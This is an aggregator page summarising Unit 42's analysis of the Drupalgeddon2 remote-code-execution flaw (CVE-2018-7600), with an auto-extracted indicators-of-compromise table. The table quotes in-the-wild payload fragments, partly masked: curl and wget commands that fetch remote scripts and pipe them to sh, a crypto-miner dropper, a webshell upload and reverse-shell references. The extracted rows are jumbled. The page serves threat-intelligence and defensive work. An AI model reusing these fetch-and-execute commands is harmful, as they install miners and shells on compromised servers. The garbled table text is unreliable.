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Exploit in the Wild: #drupalgeddon2 - Analysis of CVE-2018

Palo Alto Unit 42by Yanhui Jia, Matthew Tennis, Yi Ren, Rongbo Shao ()5 min read8 · 3 reads
Analyze CVE-2018-7600 with Vani AIImpact, affected versions, exploitation, mitigations and detection

Vulnerabilities mentioned

All
CVEVulnerabilityCVSSEPSSSignalsPublished
CVE-2018-7600
Unauthenticated Remote Code Execution in Drupal Core (Drupalgeddon 2)
9.8100%KEVRansomwarePoC ×4
KEV

Indicators of compromise

auto-extracted · verify before use · export allAll
TypeIndicatorContext
ipv4172.217.6.36e payload is a simple wget command to an outside IP address 172.217.6.36 . Figure 3. Drupal server exploited and beaconing to http:/
urlhttp://***.***.***.***/java/oracle.jpg|sh+|+sh+**.**/maxx2.txt Reverse shell Perl IRC shell system curl+-s+hxxp://***.***.***.***/java/oracle.jpg|sh+|+sh+ Crypto-miner Detects and kills other miners; implemented by
urlhttp://***.**.***.**/maxx2.txt.gr/1.txt' Site takover Peshmerga nuisance hacker exec wget+hxxp://***.**.***.**/maxx2.txt Reverse shell Perl IRC shell system curl+-s+hxxp://***.***.
urlhttps://raw.githubusercontent.com/*/*/master/*/payload.phploit Samples in the Wild cmd Payload Category Comments exec hxxps://raw.githubusercontent.com/*/*/master/*/payload.php File upload webshell Attacker forces server to execute host
urlhttps://*.sh/xxxxx/.X99-lockFake Bitcoin wallet/exchange site hosting malware exec wget hxxps://*.sh/xxxxx/.X99-lock Crypto-miner cd+/tmp;+rm+-rf+.X99-lock;+Y="hxxps://***.***.
urlhttps://***.***.***.***/x/.X99-lock/xxxxx/.X99-lock Crypto-miner cd+/tmp;+rm+-rf+.X99-lock;+Y="hxxps://***.***.***.***/x/.X99-lock";+if+hash+curl+2>/dev/null;+then+curl+-s+-LO+"$Y";+else+wge
urlhttp://***.***.***.***/w.she, full-suite repo of exploitation PoC and payload passthru hxxp://***.***.***.***/w.sh Crypto-miner /tmp/.x11_kenp0le/nttprd -B -a cryptonight -o
urlhttp://www.xxx.xxx.xxx.gr/1.txtget+-q+"$Y";+fi;+sh+/tmp/.X99-lock+& exec wget+-O+kurd.php+'hxxp://www.xxx.xxx.xxx.gr/1.txt' Site takover Peshmerga nuisance hacker exec wget+hxxp://**

From the original article

5 min read at unit42.paloaltonetworks.com

On 28 March 2018, the Drupal core security team released security advisory SA-CORE-2018-002 which discusses a highly critical vulnerability CVE-2018-7600 , later nicknamed drupalgeddon2. The vulnerability is present on all Drupal versions 7. x before 7.

Palo Alto Unit 42

By Yanhui Jia, Matthew Tennis, Yi Ren, Rongbo Shao · unit42.paloaltonetworks.com

Read the full article at Palo Alto Unit 42

A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.